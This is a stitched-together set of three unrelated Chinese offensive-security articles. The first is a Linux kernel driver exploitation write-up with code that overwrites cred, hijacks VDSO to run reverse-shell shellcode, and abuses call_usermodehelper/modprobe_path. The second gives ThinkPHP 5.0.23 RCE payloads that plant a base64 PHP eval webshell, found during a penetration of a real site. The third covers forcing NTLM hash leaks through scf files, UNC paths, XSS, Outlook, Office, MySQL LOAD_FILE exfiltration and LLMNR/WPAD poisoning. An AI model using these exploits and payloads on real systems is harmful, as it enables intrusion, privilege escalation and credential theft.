**思路** ：利用任意读找到cred结构体，再利用任意写，将用于表示权限的数据位写0，即可提权。
**搜索cred结构体** ：task_struct里有个`char
comm[TASK_COMM_LEN];`结构，这个结构可通过[prctl](http://man7.org/linux/man-pages/man2/prctl.2.html)函数中的PR_SET_NAME功能，设置为一个小于16字节的字符串。
**感慨** ：task_struct这么大，居然能找到这个结构，还能找到prctl能修改该字符串，tql。
PR_SET_NAME (since Linux 2.6.9)
设置调用线程的name，name由arg2指定，长度最多16字节，包含终止符。也可以使用pthread_setname_np(3)设置该name，用pthread_getname_np(3)获得name。
**方法** ：设定该值作为标记，利用任意读找到该字符串，即可找到task_structure，进而找到cred结构体，再利用任意写提权。
**确定爆破范围**
：task_structure是通过调用kmem_cache_alloc_node()分配的，所以kmem_cache_alloc_node应该存在内核的动态分配区域。(\kernel\fork.c
140)。[kernel内存映射](https://jin-yang.github.io/post/kernel-memory-virtual-physical-map.html)
static inline struct task_struct *alloc_task_struct_node(int node)
{
return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}
根据内存映射图，爆破范围应该在0xffff880000000000~0xffffc80000000000。
##### （3）整合利用步骤
完整代码见`exp_cred.c`。
// 爆破出 cred地址
i_args.size=0x100;
ioctl(fd, ARBITRARY_RW_INIT, &i_args);
rello_args.grow=0;
rello_args.size=0x100+1;
ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args);
puts("[+] We can read and write any memory! [+]");
for (size_t addr=START_ADDR; addr<END_ADDR; addr+=0x1000)
{
read_mem(fd,addr,buf,0x1000);
result=memmem(buf,0x1000,target,16);
if (result)
{
printf("[+] Find try2findmesauce at : %p\n",result);
cred=*(size_t *)(result-0x8);
real_cred=*(size_t *)(result-0x10);
if ((cred || 0xff00000000000000) && (real_cred == cred))
{
target_addr=addr+result-(long int)(buf);
printf("[+] found task_struct 0x%x\n",target_addr);
printf("[+] found cred 0x%lx\n",real_cred);
break;
}
}
}
if (result==0)
{
puts("[-] not found, try again! \n");
exit(-1);
}
// 修改cred
memset((char *)root_cred,0,28);
write_mem(fd,cred,root_cred,28);
成功提权：
* * *
### 2\. 方法二：劫持VDSO
VDSO是内核通过映射方法与用户态共享一块物理内存，从而加快执行效率，也叫影子内存。当在内核态修改内存时，用户态所访问到的数据同样会改变，这样的数据区在用户态有两块，`vdso`和`vsyscall`。
gdb-peda$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 561868 /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 561868 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 561868 /bin/cat
01cff000-01d20000 rw-p 00000000 00:00 0 [heap]
...
7fff937d7000-7fff937d9000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
##### （1）VDSO介绍
vsyscall和VDSO都是为了避免传统系统调用模式INT
0x80/SYSCALL造成的内核空间和用户空间的上下文切换。vsyscall只允许4个系统调用，且在每个进程中静态分配了相同的地址；VDSO是动态分配的，地址随机，可提供超过4个系统调用，VDSO是glibc库提供的功能。
VDSO—Virtual Dynamic Shared
Object。本质就是映射到内存中的.so文件，对应的程序可以当普通的.so来使用其中的函数。VDSO所在的页，在内核态是可读、可写的，在用户态是可读、可执行的。
VDSO在每个程序启动的加载过程如下：
#0 remap_pfn_range (vma=0xffff880000bba780, addr=140731259371520, pfn=8054, size=4096, prot=...) at mm/memory.c:1737
#1 0xffffffff810041ce in map_vdso (image=0xffffffff81a012c0 <vdso_image_64>, calculate_addr=<optimized out>) at arch/x86/entry/vdso/vma.c:151
#2 0xffffffff81004267 in arch_setup_additional_pages (bprm=<optimized out>, uses_interp=<optimized out>) at arch/x86/entry/vdso/vma.c:209
#3 0xffffffff81268b74 in load_elf_binary (bprm=0xffff88000f86cf00) at fs/binfmt_elf.c:1080
#4 0xffffffff812136de in search_binary_handler (bprm=0xffff88000f86cf00) at fs/exec.c:1469
在map_vdso中首先查找到一块用户态地址，将该块地址设置为VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC，利用remap_pfn_range将内核页映射过去。
dump vdso代码：
//dump_vdos.c
// 获取gettimeofday 字符串的偏移，便于爆破；dump vdso还是需要在程序中爆破VDSO地址，然后gdb中断下，$dump memory即可（VDSO地址是从ffffffff开头的）。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
int test;
size_t result=0;
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("[+]VDSO : %p\n",sysinfo_ehdr);
printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
scanf("Wait! %d", test);
/*
gdb break point at 0x400A36
and then dump memory
why only dump 0x1000 ???
*/
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
}
##### （2）利用思路
1. 获取vdso的映射地址（爆破），vdso的范围在0xffffffff80000000~0xffffffffffffefff。
2. 通过劫持task_prctl，将其修改成为set_memory_rw
3. 然后传入VDSO的地址，将VDSO修改成为可写的属性。
4. 用shellcode覆盖部分vDSO（shellcode只为root进程创建反弹shell，可以通过调用 0x66—sys_getuid系统调用并将其与0进行比较；如果没有root权限，我们继续调用0x60—sys_gettimeofday系统调用。同样在root进程当中，我们不想造成更多的问题，我们将通过0x39系统调用 fork一个子进程，父进程继续执行sys_gettimeofday，而由子进程来执行反弹shell。）
5. 调用gettimeofday函数或通过prtcl的系统调用，让内核调用shellcode提权。
所用shellcode可见[https://gist.github.com/itsZN/1ab36391d1849f15b785（它将连接到127.0.0.1:3333并执行”/bin/sh”），用"nc](https://gist.github.com/itsZN/1ab36391d1849f15b785（它将连接到127.0.0.1:3333并执行”/bin/sh”），用)
-l -p 3333 -v"链接即可；shellcode写到gettimeofday附近，通过dump vDSO确定，本题是0xca0。
##### （3）整合利用步骤
由于进程不会主动调用gettimeofday来触发shellcode，所以我们自己写一个循环程序，不断调用gettimeofday。
//sudo_me.c 一定要动态编译，不然不会调用gettimeofday函数,还要在_install根目录下创建lib64文件，文件里放需要用到的库（ld-linux-x86-64.so.2 和 libc.so.6）。
#include <stdio.h>
int main(){
while(1){
puts("111");
sleep(1);
gettimeofday();
}
}
完整exp见`exp_VDSO.c`。
### 3\. 方法三：利用`call_usermodehelper()`
##### （1）call_usermodehelper()原理
最初原理可见[New Reliable Android Kernel Root Exploitation
Techniques](http://powerofcommunity.net/poc2016/x82.pdf)。
prctl的原理已在[绕过内核SMEP姿势总结与实践](https://www.jianshu.com/p/3d707fac499a)中分析过，就不再赘述。
由于prctl第一个参数是int类型，在64位系统中被截断，所以不能正确传参。
`call_usermodehelper`（\kernel\kmod.c
603），这个函数可以在内核中直接新建和运行用户空间程序，并且该程序具有root权限，因此只要将参数传递正确就可以执行任意命令（注意命令中的参数要用全路径，不能用相对路径）。但其中提到在安卓利用时需要关闭SEAndroid。
我们要劫持`task_prctl`到`call_usermoderhelper`吗，不是的，因为这里的第一个参数也是`64位`的，也不能直接劫持过来。但是内核中有些代码片段是调用了`Call_usermoderhelper`的，可以转化为我们所用（通过它们来执行用户代码或访问用户数据，绕过SMEP）。
也就是有些函数从内核调用了用户空间，例如`kernel/reboot.c`中的`__orderly_poweroff`函数中调用了`run_cmd`参数是`poweroff_cmd`,而且`poweroff_cmd`是一个全局变量，可以修改后指向我们的命令。
static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd);
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}
return ret;
}
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
##### （2）利用步骤
完整利用代码见`exp_run_cmd.c`。
1. 利用kremalloc的问题，达到任意地址读写的能力
2. 通过快速爆破，泄露出VDSO地址。
3. 利用VDSO和kernel_base相差不远的特性，泄露出内核基址。（泄露VDSO是为了泄露内核基址？）
4. 篡改prctl的hook为selinux_disable函数的地址
5. 调用prctl使得selinux失效（INetCop Security给出的思路中要求的一步）
6. 篡改poweroff_cmd使其等于我们预期执行的命令（"/bin/chmod 777 /flag\0"）。或者将poweroff_cmd处改为一个反弹shell的binary命令，监听端口就可以拿到shell。
7. 篡改prctl的hook为orderly_poweroff
8. 调用prctl执行我们预期的命令，达到内核提权的效果。
其中第4、5步是安卓root必须的两步，本题linux环境下不需要。
利用成功截图如下：
##### （3）总结可劫持的变量
不需要劫持函数虚表，不需要传参数那么麻烦，只需要修改变量即可提权。
1.modprobe_path
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv[0] = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
__request_module - try to load a kernel module
触发：可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。
2.poweroff_cmd
// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
argv = argv_split(GFP_KERNEL, cmd, NULL);
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);
触发：执行__orderly_poweroff()即可。
3.uevent_helper
// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{ ......
env->argv[0] = uevent_helper;
...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{......
retval = init_uevent_argv(env, subsystem);
info = call_usermodehelper_setup(env->argv[0], env->argv,
env->envp, GFP_KERNEL,
NULL, cleanup_uevent_env, env);
......}
4.ocfs2_hb_ctl_path
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
argv[0] = ocfs2_hb_ctl_path;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
5.nfs_cache_getent_prog
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
"/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
char *argv[] = {
nfs_cache_getent_prog,
cd->name,
entry_name,
NULL
};
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
6.cltrack_prog
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
argv[0] = (char *)cltrack_prog;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
### 4\. 方法四： 劫持tty_struct
找不到`mov rsp,rax`、`mov rsp,[rbx+xx]`这样的gadget，有点尴尬。
具体方法还是参考[call_usermodehelper提权路径变量总结](https://www.jianshu.com/p/a2259cd3e79e)，其中总结了如何劫持tty_struct中的write和ioctl两种方法。
### 参考：
<https://www.jianshu.com/p/07994f8b2bb0>
<https://invictus-security.blog/2017/06/>
<https://github.com/invictus-0x90/vulnerable_linux_driver>
<https://www.jianshu.com/p/a2259cd3e79e> | 社区文章 |
## 起因
> 在对某网站渗透过程中，通过报错页面发现网站架构为ThinkPHP 5.0.23，存在method
> RCE漏洞。但是，使用常规payload提示`__construct`关键字被禁用，因此payload无法生效。但是这个漏洞的关键点不在于`__construct`方法，而是`Request`类的`method`方法可以让我们调用类中的任意方法，因此，开始寻找另一条利用链。
## 分析
* 漏洞利用点
* `Request`类的`method`方法可以让我们调用类中的任意方法
* 分析
* 该类为ThinkPHP的请求类，主要存放请求中的各种信息，没有方法直接执行代码，但是通过`filter`链可以间接执行代码
* 难点：
* 之前的`payload`都是通过`__construct`函数覆写请求中的参数信息以及`filter`链，从而控制调用的函数以及参数
* `filter`函数仅能注册`filter`链，无法覆写参数
* 思路
* 通过`filter`链将无法控制的参数引导到可以控制的参数
## 构造
* 由于官网不再提供5.0.23版本的下载，此处使用5.0.22完整版做实验，[下载地址](https://www.thinkphp.cn/donate/download/id/1260.html)
* PHP版本：7.3.4
### 开启debug模式
#### 0\. filter链
* 开启debug模式下，进入我们`filter`链的第一个参数为`server[REQUEST_METHOD]`，即字符串`POST`
* 调用堆栈如图所示
#### 1\. phpinfo
* `phpinfo`函数可以接受一个整数作为参数，但是，当传入的参数为`0`的时候，不会输出任何信息，因此`intval`函数无法使用
* 需要寻找一个函数可以接受字符串作为参数，并能够返回一个不为0的整数，以供后续`phpinfo`使用
* 此处使用`error_report`函数，原型如下：
* 因此构造POC如下
post : 0=error_reporting&1=phpinfo&_method=filter
* `filter`链为
POST->error_reporting->phpinfo->输出信息
* 成功执行phpinfo
#### 2\. 写入session
* 直接使用`think\Session::set`即可将经过`filter`链的数据全部写入，防止查杀，添加一个`base64`编码
* POC
POST
/index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter
* `filter`链为
输入数据->bases64_decode->think\Session::set->写入session
* 成功写入
#### 3\. 包含session
* 包含不存在的文件时，会报错，导致程序停止运行，因此，必须在第一个参数`POST`进入`filter`链的时候，进行文件包含
* 此处的难点就转变为了将`POST`字符转换为文件名
* 经过查找，发现`\think\Cookie::get`方法可以返回`Cookie`中的字符串，从而得到文件名
* 构造`POC`
POST /index.php
Cookie: POST=session文件名
0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
* 成功执行命令
### 未开启debug模式
* **暂未找到利用链**
* 发现一个有趣的现象，在此记录一下
* 当程序执行流程中发生`Error`时，`error_handler`会触发利用链
* 关闭`APP_DEBUG`
* 在`route.php`文件中引入错误
* 发送payload，即可成功触发
* 原因
* `\think\Error`类中的`appError`方法在处理错误的过程中，会对参数进行收集，从而触发`filter`链
* 其他
* 如果可以在注册完`filter`链之后，引起框架`error`便可以触发payload
* 可惜暂时未能找到引起框架`error`的方法
## 其它版本
* 5.0.21~5.0.23之间：以上`payload`均适用
* 5.0其它版本需要更改包含session的payload
POST
/index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw== | 社区文章 |
# Windows内网协议学习NTLM篇之发起NTLM请求
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker@360RedTeam
## 0x00 前言
这篇文章是ntlm篇的第二篇，怎么发起ntlm请求。在 阅读这篇文章之前，有两点说明
1. 这篇文章的主要内容是使服务器向攻击者发起ntlm 请求，但是没有进一步利用，因此本篇文件的表述都是获得net-ntlm hash。使用Responder来捕获。Responder的用法可自行搜索。这里不展开。
2. 有些地方较为敏感，因此使用的net-ntlm hash的截图并非真实图片。这个地方不重要，主要证明能发起请求就行，出现net-ntlm hash 截图的地方都是本地测试，真实收到请求的。
## 0x01 图标
### 1.desktop.ini
文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到
每个文件夹底下都会有，我们新建一个新的文件夹的话，如果没看到desktop.ini，可以尝试更改图标，就可以看到了。
将图标路径改成UNC路径，指向我们的服务器
当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash。
### 2\. scf 文件
只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性，所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式
[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop
新建test.scf，写入内容，放在一个文件夹底下，当用户访问该文件夹的时候，我们就会获得用户的net-ntlm hash。
### 3.用户头像
适用于Windows 10/2016/2019
在更改账户图片处。
用普通用户的权限指定一个webadv地址的图片，如果普通用户验证图片通过，那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180，并且携带凭据，我们就可以拿到机器用户的net-ntlm hash，这个可以用来提权。后面会详细讲。
## 0x02 系统命令携带UNC路径
这个比较鸡肋，都能执行命令了，干啥不行呢。但作为一种场景，也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir
\\\ip\xxx来做测试的，很多cmd命令是支持传进UNC路径的，执行的时候我们就可以拿到用户的net-ntlm
hash了。至于有哪些命令。这篇文章总结了一些命令,总结得挺全面的。
[内网渗透——针对hash的攻击](https://www.anquanke.com/post/id/177123)
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo
## 0x03 XSS
利用xss构造
<script src="\\172.16.100.1\xss">
这种情况适用于IE和edge，其他浏览器不允许从http域跨到file域，以chrome为例
我们接下来尝试不通过UNC路径，就xss里面访问http请求来发起认证
把payload 改成
<script src="//172.16.100.1/x">
看到跳出认证框，我们也没抓到net-ntlm hash
不像smb请求直接用当然用户名和密码去登录，发起http请求时，除非该站点的域名位于企业内部网或存在于可信站点列表中。否则都会跳出认证框来让操作者再输入一次。
当我们选择自动使用当前用户名和密码登录就能拿到用户的net-ntlm hash
就可以抓到用户net-ntlm hash了
修改后的配置同样适用于chrome
那至今为止，在默认的配置情况底下，如果有xss，那构造的页面的效果有两种
1. 构造unc，访问smb 协议，但是这种方式的话就只有IE和edge能行
<script src="\\172.16.100.1\xss">
2. 构造http，访问http 协议，这种方式并不限制浏览器访问，但是除非该站点的域名位于企业内部网或存在于可信站点列表中，不然是不会使用系统默认的凭据进行登录的，会跳出认证框，让用户填写账号密码。
<script src="//172.16.100.1\xss">
第二点该站点的域名位于企业内部网也是行的，那如果我们可以修改控制域内的DNS是不是就可以动点手脚了。
在查看DNS的ACL的时候，我发现了一条规则
认证用户都可以在DNS里面创建子对象，也就意味着如果我们是域内认证
用户的话，那我们就可以在域内添加域名。我们使用在kerberos篇里面提到过的Powermad里面的Invoke-DNSUpdate添加一条DNS记录
然后将我们的payload 换成
<script src="//xss\xss"></script>
由于此时的域名位于企业内部网，所以当用户触发xss的时候会以当前用户去认证，我们也就能拿到用户的net-ntlm hash。
## 0x04 outlook
发送邮件是支持html的，而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
<img src="\\172.16.100.1\outlook">
当收件人打开outlook查看邮件的时候
我们就收到net-ntlm hash了
## 0x05 PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能，请求远程SMB服务器的文件。我们直接使用三好学生的脚本<https://github.com/3gstudent/Worse-PDF>
我们就收到net-ntlm hash
用户使用PDF阅读器打开，如果使用IE或是Chrome打开PDF文件，并不会执行。
在实际测试中使用Adobe
发现会有提示
## 0x06 office
首先新建一个word，贴近一张图片
然后用7zip 打开(没测试其他软件，可自行测试)
进入word\\_rels，修改document.xml.rels
可以看到Target参数本来是本地的路径
修改为UNC路径，然后加上TargetMode=”External”
当打开word的时候,我们就拿到net-ntlm hash
## 0x07 MySQL
我们知道在MySQL注入的话，是可以通过带外通信把数据带出来。语法如下。
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
需要具备loadfile权限，且没有securefile_priv的限制(5.5.53默认是空，之后的话默认为NULL就不好利用了,不排除一些管理员会改)
仔细观察我们会发现LOAD_FILE是支持UNC路劲
我们构造
select load_file('\\\\172.16.100.1\\mysql');
拿到net-ntlm hash
## 0x08 NBNS和LLMNR
windows 解析域名的顺序是
* Hosts
* DNS (cache / server)
* LLMNR
* NBNS
如果Hosts文件里面不存在，就会使用DNS解析。如果DNS解析失败，就会使用LLMNR解析，如果LLMNR解析失败，就会使用NBNS解析
### 1\. LLMNR
LLMNR 是一种基于协议域名系统（DNS）数据包的格式，使得两者的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机，因此也称作多播
DNS。监听的端口为 UDP/5355，支持 IP v4 和 IP v6 ，并且在 Linux 上也实现了此协议。其解析名称的特点为端到端，IPv4
的广播地址为 224.0.0.252，IPv6 的广播地址为 FF02:0:0:0:0:0:1:3 或 FF02::1:3。
LLMNR 进行名称解析的过程为：
* 检查本地 NetBIOS 缓存
* 如果缓存中没有则会像当前子网域发送广播
* 当前子网域的其他主机收到并检查广播包，如果没有主机响应则请求失败
也就是说LLMNR并不需要一个服务器，而是采用广播包的形式，去询问DNS，跟ARP很像，那跟ARP投毒一样的一个安全问题就会出现。
当受害者访问一个不存在的域名的时候。比如 hhhhhhhhhhhhhhhhhhhh
受害者在Hosts 文件里面没有找到，通过DNS解析失败。就会通过LLMNR协议进行广播。
这个时候攻击者就发个响应包 hhhhhhhhhhhhhhhhhhhh对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。
这一步可以通过Responder 实现。
这个时候hhhhhhhhhhhhhhhhhhhh映射的ip就是攻击者的IP，当受害者访问hhhhhhhhhhhhhhhhhhhh就会访问攻击者的IP，攻击者就能拿到net-ntlm hash.
### 2\. NBNS
全称是NetBIOS Name Service。
NetBIOS 协议进行名称解析的过程如下：
* 检查本地 NetBIOS 缓存
* 如果缓存中没有请求的名称且已配置了 WINS 服务器，接下来则会向 WINS 服务器发出请求
* 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
* 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件
lmhosts 文件位于C:\Windows\System32\drivers\etc\目录中。
NetBIOS 协议进行名称解析是发送的 UDP 广播包。因此在没有配置 WINS
服务器的情况底下，LLMNR协议存在的安全问题，在NBNS协议里面同时存在。使用Responder也可以很方便得进行测试。这里不再重复展示。
## 0x09 WPAD和mitm6
wpad 全称是Web Proxy Auto-Discovery Protocol
，通过让浏览器自动发现代理服务器，定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat)，下载编译并运行，最终自动使用代理访问网络。
默认自动检测设置是开启的。
PAC文件的格式如下
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
WPAD的一般请求流程是(图片来源乌云drop)
用户在访问网页时，首先会查询PAC文件的位置，然后获取PAC文件，将PAC文件作为代理配置文件。
查询PAC文件的顺序如下：
1.通过DHCP服务器
2.查询WPAD主机的IP
* Hosts
* DNS (cache / server)
* LLMNR
* NBNS
这个地方就涉及到两种攻击方式
### 1\. 配合LLMNR/NBNS投毒
这是最早的攻击方式。用户在访问网页时，首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话，那么DNS解析失败的话，就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。
受害者通过llmnr询问wpad主机在哪里，Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
受害者访问WPAD/wpad.dat，Responder就能获取到用户的net-ntlm
hash(这个Responder默认不开，因为害怕会有登录提醒，不利于后面的中间人攻击，可以加上-F 开启)
然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。
function FindProxyForURL(url, host){
if ((host == "localhost")
|| shExpMatch(host, "localhost.*")
||(host == "127.0.0.1")
|| isPlainHostName(host)) return "DIRECT";
if (dnsDomainIs(host, "RespProxySrv")
||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return "DIRECT";
return 'PROXY ISAProxySrv:3141; DIRECT';}
受害者会使用ISAProxySrv:3141作为代理，但是受害者不知道ISAProxySrv对应的ip是什么，所以会再次查询，Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss
payload获取net-ntlm
hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等，Responder都支持。这里就不详细展开了。
然而，微软在2016年发布了[MS16-077](https://support.microsoft.com/en-us/help/3165191/ms16-077-security-update-for-wpad-june-14--2016)安全公告，添加了两个重要的保护措施，以缓解这类攻击行为：
1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
### 2\. 配合DHCPv6
前面说过，针对在查询WPAD的时候进行投毒欺骗这种攻击方式，微软添加了两个重要的保护措施
1.系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。
2.更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
第二个保护措施比较好绕过，我们先来绕过这个。更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决，在访问pac文件的时候，我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash，他默认不开启，要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己，然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss
payload获取net-ntlm
hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒看看。
在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己，当受害主机连接到我们的“代理”服务器时，我们可以通过HTTP
CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程，然后回复HTTP
407错误（需要代理身份验证），这与401不同，IE/Edge以及Chrome浏览器（使用的是IE设置）会自动与代理服务器进行身份认证，即使在最新版本的Windows系统上也是如此。在Firefox中，用户可以配置这个选项，该选项默认处于启用状态。
所以我们接下来的任务是要来绕过第一个保护措施
系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP选项或DNS协议完成该任务。
这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。
1. 通过DHCP服务器
2. 查询WPAD主机的IP
* * Hosts
* DNS (cache / server)
* LLMNR
* NBNS
在[MS16-077](https://support.microsoft.com/en-us/help/3165191/ms16-077-security-update-for-wpad-june-14--2016)之后，通过DHCP和DNS协议还可以获取到pac文件。
DHCP和DNS都有指定的服务器，不是通过广播包，而且dhcp服务器和dns服务器我们是不可控的，没法进行投毒。
幸运的是安全研究人员并不将目光局限在ipv4，从Windows
Vista以来，所有的Windows系统（包括服务器版系统）都会启用IPv6网络，并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。
DHCPv6协议中，客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器，组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程，客户端向[ff02::1:2]组播地址发送一个Solicit请求报文，DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息，最后服务器回复包含确认地址，委托前缀和配置（如可用的DNS或NTP服务器）的Relay消息。通俗点来说就是，在可以使用ipv6的情况(Windows
Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下，攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。
